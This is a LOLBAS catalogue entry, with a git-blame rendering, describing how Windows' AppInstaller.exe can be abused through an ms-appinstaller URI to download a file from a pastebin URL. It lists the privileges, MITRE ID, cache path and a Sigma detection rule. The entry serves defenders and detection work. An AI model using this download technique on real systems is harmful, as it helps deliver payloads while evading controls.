LOLBAS/yml/OSBinaries/AppInstaller.yml

---
Name: AppInstaller.exe
Description: Tool used for installation of AppX/MSIX applications on Windows 10
Author: 'Wade Hickey'
Created: 2020-12-02
Commands:
  - Command: start ms-appinstaller://?source=https://pastebin.com/raw/tdyShwLw
    Description: AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in C:\Users\%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\INetCache\<RANDOM-8-CHAR-DIRECTORY>
    Usecase: Download file from Internet
    Category: Download
    Privileges: User
    MitreID: T1105
    OperatingSystem: Windows 10, Windows 11
Full_Path:
  - Path: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\AppInstaller.exe
Detection:
  - Sigma: https://github.com/SigmaHQ/sigma/blob/bdb00f403fd8ede0daa04449ad913200af9466ff/rules/windows/dns_query/win_dq_lobas_appinstaller.yml
Resources:
  - Link: https://twitter.com/notwhickey/status/1333900137232523264
Acknowledgement:
  - Person: Wade Hickey
    Handle: '@notwhickey'
Create AppInstaller.yml New lolbin for downloading files in Windows 10. 2020-12-02 17:35:49 +01:00			`---`
			`Name: AppInstaller.exe`
			`Description: Tool used for installation of AppX/MSIX applications on Windows 10`
			`Author: 'Wade Hickey'`
Minor formatting changes (redudant backslashes, incorrect dates, typos, etc.) 2021-12-14 15:57:32 +01:00			`Created: 2020-12-02`
Create AppInstaller.yml New lolbin for downloading files in Windows 10. 2020-12-02 17:35:49 +01:00			`Commands:`
			`- Command: start ms-appinstaller://?source=https://pastebin.com/raw/tdyShwLw`
MITRE ATT&CK realignment sprint 2021-11-05 19:58:26 +01:00			`Description: AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in C:\Users\%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\INetCache\<RANDOM-8-CHAR-DIRECTORY>`
Create AppInstaller.yml New lolbin for downloading files in Windows 10. 2020-12-02 17:35:49 +01:00			`Usecase: Download file from Internet`
			`Category: Download`
			`Privileges: User`
			`MitreID: T1105`
Updating entries that have been confirmed to be working on Windows 11 (21H2) 2021-12-14 16:50:17 +01:00			`OperatingSystem: Windows 10, Windows 11`
Create AppInstaller.yml New lolbin for downloading files in Windows 10. 2020-12-02 17:35:49 +01:00			`Full_Path:`
			`- Path: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\AppInstaller.exe`
Detection Resources and Other Updates (#179) * Add detection links for scripts * Add detection links for OtherMSBins. Fixed and updated as needed. * Add detection links for MSBins. Fixed and updated as needed. * Add detection links for oslibraries * Updating template for Detections * Removing empty Detection:Sigma entries * Remove redundant blank line * Replacing commit URL with file URL Co-authored-by: root <root@DESKTOP-5CR935D.localdomain> Co-authored-by: Wietze <wietze@users.noreply.github.com> 2021-11-15 14:19:03 +01:00			`Detection:`
$frack113$ Adding new Sigma references (AppInstaller, AspnetCompiler, Bash, Certreq) (#183) 2021-11-25 10:42:26 +01:00			`- Sigma: https://github.com/SigmaHQ/sigma/blob/bdb00f403fd8ede0daa04449ad913200af9466ff/rules/windows/dns_query/win_dq_lobas_appinstaller.yml`
Create AppInstaller.yml New lolbin for downloading files in Windows 10. 2020-12-02 17:35:49 +01:00			`Resources:`
			`- Link: https://twitter.com/notwhickey/status/1333900137232523264`
			`Acknowledgement:`
			`- Person: Wade Hickey`
			`Handle: '@notwhickey'`